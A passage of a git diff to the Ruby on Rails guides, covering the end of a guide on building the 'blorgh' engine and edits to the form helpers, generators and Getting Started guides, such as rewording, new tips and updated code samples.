must first be copied using this command: + +<shell> +$ rake blorgh:install:migrations +</shell> + +Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run. + +<shell> + NOTE: Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists. + NOTE: Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists. + Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh +</shell> + +Run this migration using this command: + +<shell> +$ rake db:migrate +</shell> + +Now with all the pieces in place, an action will take place that will associate an author -- represented by a record in the +users+ table -- with a post, represented by the +blorgh_posts+ table from the engine. + +Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside +app/views/blorgh/posts/show.html.erb+: + +<erb> +<p> + <b>Author:</b> + <%= @post.author %> +</p> +</erb> + +WARNING: For posts created previously, this will break the +show+ page for them. We recommend deleting these posts and starting again, or manually assigning an author using +rails c+. + +By outputting +@post.author+ using the +<%=+ tag the +to_s+ method will be called on the object. By default, this will look quite ugly: + +<text> +#<User:0x00000100ccb3b0> +</text> + +This is undesirable and it would be much better to have the user's name there. To do this, add a +to_s+ method to the +User+ class within the application: + +<ruby> +def to_s + name +end +</ruby> + +Now instead of the ugly Ruby object output the author's name will be displayed. + +h4. Configuring an engine + +This section covers firstly how you can make the +user_class+ setting of the Blorgh engine configurable, followed by general configuration tips for the engine. + +h5. Setting configuration settings in the application + +The next step is to make the class that represents a +User+ in the application customizable for the engine. This is because, as explained before, that class may not always be +User+. To make this customizable, the engine will have a configuration setting called +user_class+ that will be used to specify what the class representing users is inside the application. + +To define this configuration setting, you should use a +mattr_accessor+ inside the +Blorgh+ module for the engine, located at +lib/blorgh.rb+ inside the engine. Inside this module, put this line: + +<ruby> +mattr_accessor :user_class +</ruby> + +This method works like its brothers +attr_accessor+ and +cattr_accessor+, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using +Blorgh.user_class+. + +The next step is switching the +Blorgh::Post+ model over to this new setting. For the +belongs_to+ association inside this model (+app/models/blorgh/post.rb+), it will now become this: + +<ruby> +belongs_to :author, :class_name => Blorgh.user_class +</ruby> + +The +set_author+ method also located in this class should also use this class: + +<ruby> +self.author = Blorgh.user_class.constantize.find_or_create_by_name(author_name) +</ruby> + +To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and makes references to the classes of the engine which may depend on this configuration setting existing. + +Create a new initializer at +config/initializers/blorgh.rb+ inside the application where the +blorgh+ engine is installed and put this content in it: + +<ruby> +Blorgh.user_class = "User" +</ruby> + +WARNING: It's very important here to use the +String+ version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a +String+ should be used and then converted to a class using +constantize+ in the engine later on. + +Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in +config/initializers/blorgh.rb+ to learn what the class is. + +There are now no strict dependencies on what the class is, only what the class's API must be. The engine simply requires this class to define a +find_or_create_by_name+ method which returns an object of that class to be associated with a post when it's created. + +h5. General engine configuration + +Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines! + +If you wish to use initializers (code that should run before the engine is loaded), the best place for them is the +config/initializers+ folder. This directory's functionality is explained in the "Initializers section":http://guides.rubyonrails.org/configuring.html#initializers of the Configuring guide. + +For locales, simply place the locale files in the +config/locales+ directory, just like you would in an application. + +h3. Extending engine functionality + +This section looks at overriding or adding functionality to the views, controllers and models provided by an engine. + +h4. Overriding views + +When Rails looks for a view to render, it will first look in the +app/views+ directory of the application. If it cannot find the view there, then it will check in the +app/views+ directories of all engines which have this directory. + +In the +blorgh+ engine, there is a currently a file at +app/views/blorgh/posts/index.html.erb+. When the engine is asked to render the view for +Blorgh::PostsController+'s +index+ action, it will first see if it can find it at +app/views/blorgh/posts/index.html.erb+ within the application and then if it cannot it will look inside the engine. + +By overriding this view in the application, by simply creating a new file at +app/views/blorgh/posts/index.html.erb+, you can completely change what this view would normally output. + +Try this now by creating a new file at +app/views/blorgh/posts/index.html.erb+ and put this content in it: + +<erb> +<h1>Posts</h1> +<%= link_to "New Post", new_post_path %> +<% @posts.each do |post| %> + <h2><%= post.title %></h2> + <small>By <%= post.author %></small> + <%= simple_format(post.text) %> + <hr> +<% end %> +</erb> + +Rather than looking like the default scaffold, the page will now look like this: + +!images/engines_post_override.png(Engine scaffold overriden)! + +h4. Controllers + +TODO: Explain how to extend a controller. +IDEA: I like Devise's +devise :controllers => { "sessions" => "sessions" }+ idea. Perhaps we could incorporate that into the guide? + +h4. Models + +TODO: Explain how to extend models provided by an engine. + +h4. Routes + +Within the application, you may wish to link to some area within the engine. Due to the fact that the engine's routes are isolated (by the +isolate_namespace+ call within the +lib/blorgh/engine.rb+ file), you will need to prefix these routes with the engine name. This means rather than having something such as: + +<erb> +<%= link_to "Blog posts", posts_path %> +</erb> + +It needs to be written as: + +<erb> +<%= link_to "Blog posts", blorgh.posts_path %> +</erb> + +This allows for the engine _and_ the application to both have a +posts_path+ routing helper and to not interfere with each other. You may also reference another engine's routes from inside an engine using this same syntax. + +If you wish to reference the application inside the engine in a similar way, use the +main_app+ helper: + +<erb> +<%= link_to "Home", main_app.root_path %> +</erb> + +TODO: Mention how to use assets within an engine? +TODO: Mention how to depend on external gems, like RedCarpet. diff --git a/railties/guides/source/form_helpers.textile b/railties/guides/source/form_helpers.textile index bf2a7369a7..64eb2d8f36 100644 --- a/railties/guides/source/form_helpers.textile +++ b/railties/guides/source/form_helpers.textile @@ -229,7 +229,7 @@ The corresponding view +app/views/articles/new.html.erb+ using +form_for+ looks There are a few things to note here: # +@article+ is the actual object being edited. -# There is a single hash of options. Routing options are passed in the +:url+ hash, HTML options are passed in the +:html+ hash. +# There is a single hash of options. Routing options are passed in the +:url+ hash, HTML options are passed in the +:html+ hash. Also you can provide a +:namespace+ option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id. # The +form_for+ method yields a *form builder* object (the +f+ variable). # Methods to create form controls are called *on* the form builder object +f+ @@ -342,7 +342,6 @@ output: When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PUT" in this example). - h3. Making Select Boxes with Ease Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated. @@ -797,13 +796,3 @@ Many apps grow beyond simple forms editing a single object. For example when cre * Eloy Duran's "complex-forms-examples":https://github.com/alloy/complex-form-examples/ application * Lance Ivy's "nested_assignment":https://github.com/cainlevy/nested_assignment/tree/master plugin and "sample application":https://github.com/cainlevy/complex-form-examples/tree/cainlevy * James Golick's "attribute_fu":https://github.com/jamesgolick/attribute_fu plugin - -h3. Changelog - -* February 5, 2011: Added 'Forms to external resources' section. Timothy N. Tsvetkov <timothy.tsvetkov@gmail.com> -* April 6, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com - -h3. Authors - -* Mislav Marohnić <mislav.marohnic@gmail.com> -* "Frederick Cheung":credits.html#fcheung diff --git a/railties/guides/source/generators.textile b/railties/guides/source/generators.textile index 2fa1d6e21d..7a863ccbc7 100644 --- a/railties/guides/source/generators.textile +++ b/railties/guides/source/generators.textile @@ -449,6 +449,15 @@ The above code will put the following line into +Gemfile+: gem "devise", :git => "git://github.com/plataformatec/devise", :branch => "master" </ruby> +h4. +gem_group+ + +Wraps gem entries inside a group: + +<ruby> +gem_group :development, :test do + gem "rspec-rails" +end +</ruby> h4. +add_source+ @@ -610,14 +619,3 @@ Output the contents of a file in the template's +source_path+, usually a README. <ruby> readme("README") </ruby> - -h3. Changelog - -* December 1, 2010: Documenting the available methods and options for generators and templates by "Ryan Bigg":http://ryanbigg.com -* December 1, 2010: Addition of Rails application templates by "Ryan Bigg":http://ryanbigg.com - -* August 23, 2010: Edit pass by "Xavier Noria":credits.html#fxn - -* April 30, 2010: Reviewed by José Valim - -* November 20, 2009: First version by José Valim diff --git a/railties/guides/source/getting_started.textile b/railties/guides/source/getting_started.textile index 0b89021392..fe43c9db36 100644 --- a/railties/guides/source/getting_started.textile +++ b/railties/guides/source/getting_started.textile @@ -41,8 +41,15 @@ internet for learning Ruby, including: * "Programming Ruby":http://www.ruby-doc.org/docs/ProgrammingRuby/ * "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/ +Also, the example code for this guide is available in the rails github:https://github.com/rails/rails repository +in rails/railties/guides/code/getting_started. + h3. What is Rails? +TIP: This section goes into the background and philosophy of the Rails framework +in detail. You can safely skip this section and come back to it at a later time. +Section 3 starts you on the path to creating your first Rails application. + Rails is a web application development framework written in the Ruby language. It is designed to make programming web applications easier by making assumptions about what every developer needs to get started. It allows you to write less @@ -61,9 +68,9 @@ The Rails philosophy includes several guiding principles: * DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing. * Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to -d o it, rather than requiring you to specify every little thing through endless configuration files. +do it, rather than requiring you to specify every little thing through endless configuration files. * REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs -i s the fastest way to go. +is the fastest way to go. h4. The MVC Architecture @@ -116,7 +123,6 @@ need to know anything about them to continue with this guide. * Active Support * Railties - h5. Action Pack Action Pack is a single gem that contains Action Controller, Action View and @@ -197,9 +203,10 @@ For example, the following HTTP request: <tt>DELETE /photos/17</tt> -refers to a photo resource with an ID of 17 and indicates an action to be taken -upon it: deletion. REST is a natural web application architecture which Rails -abstracts, shielding you from RESTful complexities and browser quirks. +would be understood to refer to a photo resource with the ID of 17, and to +indicate a desired action - deleting that resource. REST is a natural style for +the architecture of web applications, and Rails hooks into this shielding you +from many of the RESTful complexities and browser quirks. If you'd like more details on REST as an architectural style, these resources are more approachable than Fielding's thesis: @@ -212,7 +219,11 @@ Ian Robinson h3. Creating a New Rails Project -If you follow this guide, you'll create a Rails project called <tt>blog</tt>, a +The best way to use this guide is to follow each step as it happens, no code or +step needed to make this example application has been left out, so you can +literally follow along step by step. You can get the complete code "here":https://github.com/lifo/docrails/tree/master/railties/guides/code/getting_started. + +By following along with this guide, you'll create a Rails project called <tt>blog</tt>, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed. @@ -230,13 +241,16 @@ Usually run this as the root user: TIP. If you're working on Windows, you can quickly install Ruby and Rails with "Rails Installer":http://railsinstaller.org. -h4. Creating the Blog Application +To verify that you have everything installed correctly, you should be able to run +the following: -The best way to use this guide is to follow each step as it happens, no code or -step needed to make this example application has been left out, so you can -literally follow along step by step. If you need to see the completed code, you -can download it from "Getting Started -Code":https://github.com/mikel/getting-started-code. +<shell> +$ rails --version +</shell> + +If it says something like "Rails 3.1.3" you are ready to continue. + +h4. Creating the Blog Application To begin, open a terminal, navigate to a folder where you have rights to create files, and type: @@ -258,41 +272,50 @@ directly in that application: $ cd blog </shell> -In any case, Rails will create a folder in your working directory called -<tt>blog</tt>. Open up that folder and explore its contents. Most of the work in +The 'rails new blog' command we ran above created a folder in your working directory +called <tt>blog</tt>. The <tt>blog</tt> folder has a number of auto-generated folders +that make up the structure of a Rails application. Most of the work in this tutorial will happen in the <tt>app/</tt> folder, but here's a basic -rundown on the function of each folder that Rails creates in a new application -by default: +rundown on the function of each of the files and folders that Rails created by default: |_.File/Folder|_.Purpose| -|Gemfile|This file allows you to specify what gem dependencies are needed for your Rails application. See section on Bundler, below.| -|README|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.| -|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.| |app/|Contains the controllers, models, views and assets for your application. You'll focus on this folder for the remainder of this guide.| -|config/|Configure your application's runtime rules, routes, database, and more.| +|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in "Configuring Rails Applications":configuring.html| |config.ru|Rack configuration for Rack based servers used to start the application.| -|db/|Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.| +|db/|Contains your current database schema, as well as the database migrations.| |doc/|In-depth documentation for your application.| -|lib/|Extended modules for your application (not covered in this guide).| +|Gemfile<BR />Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application.| +|lib/|Extended modules for your application.| |log/|Application log files.| |public/|The only folder seen to the world as-is. Contains the static files and compiled assets.| +|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.| +|README|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.| |script/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.| |test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing.html| |tmp/|Temporary files| -|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.| +|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you optionally install it into your project) and plugins containing additional prepackaged functionality.| h4. Configuring a Database Just about every Rails application will interact with a database. The database to use is specified in a configuration file, +config/database.yml+. If you open this file in a new Rails application, you'll see a default database -configuration using SQLite3. The file contains sections for three different +configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default: -* The +development+ environment is used on your development computer as you interact manually with the application. -* The +test+ environment is used to run automated tests. +* The +development+ environment is used on your development/local computer as you interact +manually with the application. +* The +test+ environment is used when running automated tests. * The +production+ environment is used when you deploy your application for the world to use. +TIP: You don't have to update the database configurations manually. If you look at the +options of the application generator, you will see that one of the options +is named <tt>--database</tt>. This option allows you to choose an adapter from a +list of the most used relational databases. You can even run the generator +repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting + of the +config/database.yml+ file, your application will be configured for MySQL +instead of SQLite. Detailed examples of the common database connections are below. + h5. Configuring an SQLite3 Database Rails comes with built-in support for "SQLite3":http://www.sqlite.org, which is @@ -357,7 +380,7 @@ development: h5. Configuring an SQLite3 Database for JRuby Platform -If you choose to use SQLite3 and using JRuby, your +config/database.yml+ will +If you choose to use SQLite3 and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section: <yaml> @@ -368,7 +391,7 @@ development: h5. Configuring a MySQL Database for JRuby Platform -If you choose to use MySQL and using JRuby, your +config/database.yml+ will look +If you choose to use MySQL and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section: <yaml> @@ -381,7 +404,7 @@ development: h5. Configuring a PostgreSQL Database for JRuby Platform -Finally if you choose to use PostgreSQL and using JRuby, your +Finally if you choose to use PostgreSQL and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section: @@ -396,14 +419,6 @@ development: Change the username and password in the +development+ section as appropriate. -TIP: You don't have to update the database configurations manually. If you look at the -options of the application generator, you will see that one of the options -is named <tt>--database</tt>. This option allows you to choose an adapter from a -list of the most used relational databases. You can even run the generator -repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting - of the +config/database.yml+ file, your application will be configured for MySQL -instead of SQLite. - h4. Creating the Database Now that you have your database configured, it's time to have Rails create an @@ -435,6 +450,8 @@ start a web server on your development machine. You can do this by running: $ rails server </shell> +TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an +execjs+ error. Usually Mac OS X and Windows come with a JavaScript runtime installed. +therubyracer+ and +therubyrhino+ are the commonly used runtimes for Ruby and JRuby respectively. You can also investigate a list of runtimes at "ExecJS":https://github.com/sstephenson/execjs. + This will fire up an instance of the WEBrick web server by default (Rails can also use several other web servers). To see your application in action, open a browser window and navigate to "http://localhost:3000":http://localhost:3000. @@ -477,7 +494,7 @@ Open this file in your text editor and edit it to contain a single line of code: h4. Setting the Application Home Page Now that we have made the controller and view, we need to tell Rails when we -want "Hello Rails" to show up. In our case, we want it to show up when we +want "Hello Rails!" to show up. In our case, we want it to show up when we navigate to the root URL of our site, "http://localhost:3000":http://localhost:3000, instead of the "Welcome Aboard" smoke test. @@ -498,8 +515,7 @@ file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. -Find the line beginning with +root :to+, uncomment it and change it like the -following: +Find the line beginning with +root :to+ and uncomment it. It should look something like the following: <ruby> Blog::Application.routes.draw do @@ -527,7 +543,7 @@ resource in a single operation, scaffolding is the tool for the job. h3. Creating a Resource -In the case of the blog application, you can start by generating a scaffolded +In the case of the blog application, you can start by generating a scaffold for the Post resource: this will represent a single blog posting. To do this, enter this command in your terminal: @@ -535,40 +551,36 @@ command in your terminal: $ rails generate scaffold Post name:string title:string content:text </shell> -This will create a new database table called posts (plural of Post). The table -will have three columns, name (type string), title (type string) and content -(type text). It will also hook this new database up to Rails (details below). - -NOTE. While scaffolding will get you up and running quickly, the code it -generates is unlikely to be a perfect fit for your application. You'll most -probably want to customize the generated code. Many experienced Rails developers -avoid scaffolding entirely, preferring to write all or most of their source code -from scratch. Rails, however, makes it really simple to customize templates for -generated models, controllers, views and other source files. You'll find more -information in the "Creating and Customizing Rails Generators & -Templates":generators.html guide. - -The scaffold generator will build 17 files in your application, along with some -folders, and edit one more. Here's a quick overview of what it creates: +The scaffold generator will build several files in your application, along with some +folders, and edit <tt>config/routes.rb</tt>. Here's a quick overview of what it creates: |_.File |_.Purpose| |db/migrate/20100207214725_create_posts.rb |Migration to create the posts table in your database (your name will include a different timestamp)| |app/models/post.rb |The Post model| -|test/fixtures/posts.yml |Dummy posts for use in testing| +|test/unit/post_test.rb |Unit testing harness for the posts model| +|test/fixtures/posts.yml |Sample posts for use in testing| +|config/routes.rb |Edited to include routing information for posts| |app/controllers/posts_controller.rb |The Posts controller| |app/views/posts/index.html.erb |A view to display an index of all posts | |app/views/posts/edit.html.erb |A view to edit an existing post| |app/views/posts/show.html.erb |A view to display a single post| |app/views/posts/new.html.erb |A view to create a new post| |app/views/posts/_form.html.erb |A partial to control the overall look and feel of the form used in edit and new views| -|app/helpers/posts_helper.rb |Helper functions to be used from the post views| -|app/assets/stylesheets/scaffold.css.scss |Cascading style sheet to make the scaffolded views look better| -|app/assets/stylesheets/post.css.scss |Cascading style sheet for the posts controller| -|app/assets/javascripts/post.js.coffee |CoffeeScript for the posts controller| -|test/unit/post_test.rb |Unit testing harness for the posts model| |test/functional/posts_controller_test.rb |Functional testing harness for the posts controller| +|app/helpers/posts_helper.rb |Helper functions to be used from the post views| |test/unit/helpers/posts_helper_test.rb |Unit testing harness for the posts helper| -|config/routes.rb |Edited to include routing information for posts| +|app/assets/javascripts/posts.js.coffee |CoffeeScript for the posts controller| +|app/assets/stylesheets/posts.css.scss |Cascading style sheet for the posts controller| +|app/assets/stylesheets/scaffolds.css.scss |Cascading style sheet to make the scaffolded views look better| + +NOTE. While scaffolding will get you up and running quickly, the code it +generates is unlikely to be a perfect fit for your application. You'll most +probably want to customize the generated code. Many experienced Rails developers +avoid scaffolding entirely, preferring to write all or most of their source code +from scratch. Rails, however, makes it really simple to customize templates for +generated models, controllers, views and other source files. You'll find more +information in the "Creating and Customizing Rails Generators & +Templates":generators.html guide. h4. Running a Migration @@ -596,12 +608,12 @@ class CreatePosts < ActiveRecord::Migration end </ruby> -The above migration creates a method name +change+ which will be called when you -run this migration. The action defined in that method is also reversible, which +The above migration creates a method named +change+ which will be called when you +run this migration. The action defined in this method is also reversible, which means Rails knows how to reverse the change made by this migration, in case you -want to reverse it at later date. By default, when you run this migration it -will creates a +posts+ table with two string columns and a text column. It also -creates two timestamp fields to track record creation and updating. More +want to reverse it later. When you run this migration it will create a ++posts+ table with two string columns and a text column. It also creates two +timestamp fields to allow Rails to track post creation and update times. More information about Rails migrations can be found in the "Rails Database Migrations":migrations.html guide. @@ -623,7 +635,7 @@ table. NOTE. Because you're working in the development environment by default, this command will apply to the database defined in the +development+ section of your -+config/database.yml+ file. If you would like to execute migrations in other ++config/database.yml+ file. If you would like to execute migrations in another environment, for instance in production, you must explicitly pass it when invoking the command: <tt>rake db:migrate RAILS_ENV=production</tt>. @@ -692,7 +704,8 @@ end These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their -format, and the existence of associated objects. +format, and the existence of associated objects. Validations are covered in detail +in "Active Record Validations and Callbacks":active_record_validations_callbacks.html#validations-overview h4. Using the Console @@ -705,8 +718,8 @@ $ rails console </shell> TIP: The default console will make changes to your database. You can instead -open a console that will roll back any changes you make by using +rails console ---sandbox+. +open a console that will roll back any changes you make by using <tt>rails console +--sandbox</tt>. After the console loads, you can use it to work with your application's models: @@ -717,10 +730,8 @@ After the console loads, you can use it to work with your application's models: updated_at: nil> >> p.save => false ->> p.errors -=> #<OrderedHash { :title=>["can't be blank", - "is too short (minimum is 5 characters)"], - :name=>["can't be blank"] }> +>> p.errors.full_messages +=> ["Name can't be blank", "Title can't be blank", "Title is too short (minimum is 5 characters)"] </shell> This code shows creating a new +Post+ instance, attempting to save it and @@ -730,13 +741,14 @@ inspecting the +errors+ of the post. When you're finished, type +exit+ and hit +return+ to exit the console. TIP: Unlike the development web server, the console does not automatically load -your code afresh for each line. If you make changes to your models while the -console is open, type +reload!+ at the console prompt to load them. +your code afresh for each line. If you make changes to your models (in your editor) +while the console is open, type +reload!+ at the console prompt to load them. h4. Listing All Posts -The easiest place to start looking at functionality is with the code that lists -all posts. Open the file +app/controllers/posts_controller.rb+ and look at the +Let's dive into the Rails code a little deeper to see how the application is +showing us the list of Posts. Open the file ++app/controllers/posts_controller.rb+ and look at the +index+ action: <ruby> @@ -750,9 +762,8 @@ def index end </ruby> -+Post.all+ calls the +Post+ model to return all of the posts currently in the -database. The result of this call is an array of posts that we store in an -instance variable called +@posts+. ++Post.all+ returns all of the posts currently in the database as an array +of +Post+ records that we store in an instance variable called +@posts+. TIP: For more information on finding records with Active Record, see "Active Record Query Interface":active_record_querying.html. @@ -784,7 +795,8 @@ Here's +app/views/posts/index.html.erb+: <td><%= post.content %></td> <td><%= link_to 'Show', post %></td> <td><%= link_to 'Edit', edit_post_path(post) %></td> - <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', :method => :delete %></td> + <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', + :method => :delete %></td> </tr> <% end %> </table> @@ -802,7 +814,7 @@ and links. A few things to note in the view: NOTE. In previous versions of Rails, you had to use +<%=h post.name %>+ so that any HTML would be escaped before being inserted into the page. In Rails -3.0, this is now the default. To get unescaped HTML, you now use +<%= raw +3.0+, this is now the default. To get unescaped HTML, you now use +<%= raw post.name %>+. TIP: For more details on the rendering process, see "Layouts and Rendering in @@ -816,17 +828,18 @@ Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. In previous versions of Rails, the +rails generate scaffold+ command would automatically create a controller specific layout, like +app/views/layouts/posts.html.erb+, for the posts controller. However this has -been changed in Rails 3.0. An application specific +layout+ is used for all the +been changed in Rails 3.0+. An application specific +layout+ is used for all the controllers and can be found in +app/views/layouts/application.html.erb+. Open -this layout in your editor and modify the +body+ tag: +this layout in your editor and modify the +body+ tag to include the style directive +below: <erb> <!DOCTYPE html> <html> <head> <title>Blog</title> - <%= stylesheet_link_tag :all %> - <%= javascript_include_tag :defaults %> + <%= stylesheet_link_tag "application" %> + <%= javascript_include_tag "application" %> <%= csrf_meta_tags %> </head> <body style="background: #EEEEEE;"> @@ -868,10 +881,10 @@ The +new.html.erb+ view displays this empty Post to the user: The +<%= render 'form' %>+ line is our first introduction to _partials_ in Rails. A partial is a snippet of HTML and Ruby code that can be reused in -multiple locations. In this case, the form used to make a new post, is basically -identical to a form used to edit a post, both have text fields for the name and -title and a text area for the content with a button to make a new post or update -the existing post. +multiple locations. In this case, the form used to make a new post is basically +identical to the form used to edit a post, both having text fields for the name and +title, a text area for the content, and a button to create the new post or to update +the existing one. If you take a look at +views/posts/_form.html.erb+ file, you will see the following: @@ -880,7 +893,8 @@ following: <%= form_for(@post) do |f| %> <% if @post.errors.any? %> <div id="errorExplanation"> - <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2> + <h2><%= pluralize(@post.errors.count, "error") %> prohibited + this post from being saved:</h2> <ul> <% @post.errors.full_messages.each do |msg| %> <li><%= msg %></li> @@ -908,15 +922,15 @@ following: </erb> This partial receives all the instance variables defined in the calling view -file, so in this case, the controller assigned the new Post object to +@post+ -and so, this is available in both the view and partial as +@post+. +file. In this case, the controller assigned the new +Post+ object to +@post+, +which will thus be available in both the view and the partial as +@post+. For more information on partials, refer to the "Layouts and Rendering in Rails":layouts_and_rendering.html#using-partials guide. The +form_for+ block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, -+f.text_field :name+ tells Rails to create a text input on the form, and to hook ++f.text_field :name+ tells Rails to create a text input on the form and to hook it up to the +name+ attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case +name+, +title+, and +content+). Rails uses +form_for+ in preference to @@ -932,9 +946,9 @@ to a model, you should use the +form_tag+ method, which provides shortcuts for building forms that are not necessarily tied to a model instance. When the user clicks the +Create Post+ button on this form, the browser will -send information back to the +create+ method of the controller (Rails knows to -call the +create+ method because the form is sent with an HTTP POST request; -that's one of the conventions that I mentioned earlier): +send information back to the +create+ action of the controller (Rails knows to +call the +create+ action because the form is sent with an HTTP POST request; +that's one of the conventions that were mentioned earlier): <ruby> def create @@ -966,12 +980,12 @@ If the post was not successfully saved, due to a validation error, then the controller returns the user back to the +new+ action with any error messages so that the user has the chance to fix the error and try again. -The "Post was successfully created." message is stored inside of the Rails -+flash+ hash, (usually just called _the flash_) so that messages can be carried +The "Post was successfully created." message is stored in the Rails ++flash+ hash (usually just called _the flash_), so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of +create+, the user never actually sees any page -rendered during the Post creation process, because it immediately redirects to -the new Post as soon Rails saves the record. The Flash carries over a message to +rendered during the post creation process, because it immediately redirects to +the new +Post+ as soon as Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the +show+ action, they are presented with a message saying "Post was successfully created." @@ -995,7 +1009,7 @@ end The +show+ action uses +Post.find+ to search for a single record in the database by its id value. After finding the record, Rails displays it by using -+show.html.erb+: ++app/views/posts/show.html.erb+: <erb> <p class="notice"><%= notice %></p> @@ -1044,9 +1058,9 @@ it: <%= link_to 'Back', posts_path %> </erb> -Again, as with the +new+ action, the +edit+ action is using the +form+ partial, -this time however, the form will do a PUT action to the PostsController and the -submit button will display "Update Post" +Again, as with the +new+ action, the +edit+ action is using the +form+ partial. +This time, however, the form will do a PUT action to the +PostsController+ and the +submit button will display "Update Post". Submitting the form created by this view will invoke the +update+ action within the controller: @@ -1059,7 +1073,7 @@ def update if @post.update_attributes(params[:post]) format.html { redirect_to(@post, :notice => 'Post was successfully updated.') } - format.json { render :json => {}, :status => :ok } + format.json { head :no_content } else format.html { render :action => "edit" } format.json { render :json => @post.errors, @@ -1071,9 +1085,9 @@ end In the +update+ action, Rails first uses the +:id+ parameter passed back from the edit view to locate the database record that's being edited. The -+update_attributes+ call then takes the rest of the parameters from the request -and applies them to this record. If all goes well, the user is redirected to the -post's +show+ view. If there are any problems, it's back to the +edit+ view to ++update_attributes+ call then takes the +post+ parameter (a hash) from the request +and applies it to this record. If all goes well, the user is redirected to the +post's +show+ action. If there are any problems, it redirects back to the +edit+ action to correct them. h4. Destroying a Post @@ -1087,20 +1101,20 @@ def destroy @post.destroy respond_to do |format| - format.html { redirect_to(posts_url) } - format.json { render :json => {}, :status => :ok } + format.html { redirect_to posts_url } + format.json { head :no_content } end end </ruby> The +destroy+ method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any -record to display, so Rails redirects the user's browser to the index view for -the model. +record to display, so Rails redirects the user's browser to the index action of +the controller. h3. Adding a Second Model -Now that you've seen how a model built with scaffolding looks like, it's time to +Now that you've seen what a model built with scaffolding looks like, it's time to add a second model to the application. The second model will handle comments on blog posts. @@ -1108,7 +1122,7 @@ h4. Generating a Model Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name -Comment. Even if you don't want to use the entire apparatus set up by ++Comment+. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal: @@ -1119,9 +1133,11 @@ $ rails generate model Comment commenter:string body:text post:references This command will generate four files: -* +app/models/comment.rb+ - The model -* +db/migrate/20100207235629_create_comments.rb+ - The migration -* +test/unit/comment_test.rb+ and +test/fixtures/comments.yml+ - The test harness. +|_.File |_.Purpose| +|db/migrate/20100207235629_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) | +| app/models/comment.rb | The Comment model | +| test/unit/comment_test.rb | Unit testing harness for the comments model | +| test/fixtures/comments.yml | Sample comments for use in testing | First, take a look at +comment.rb+: @@ -1168,8 +1184,10 @@ run against the current database, so in this case you will just see: <shell> == CreateComments: migrating ================================================= -- create_table(:comments) - -> 0.0017s -== CreateComments: migrated (0.0018s) ======================================== + -> 0.0008s +-- add_index(:comments, :post_id) + -> 0.0003s +== CreateComments: migrated (0.0012s) ======================================== </shell> h4. Associating Models @@ -1178,8 +1196,8 @@ Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way: -* Each comment belongs to one post -* One post can have many comments +* Each comment belongs to one post. +* One post can have many comments. In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that @@ -1205,7 +1223,7 @@ end These two declarations enable a good bit of 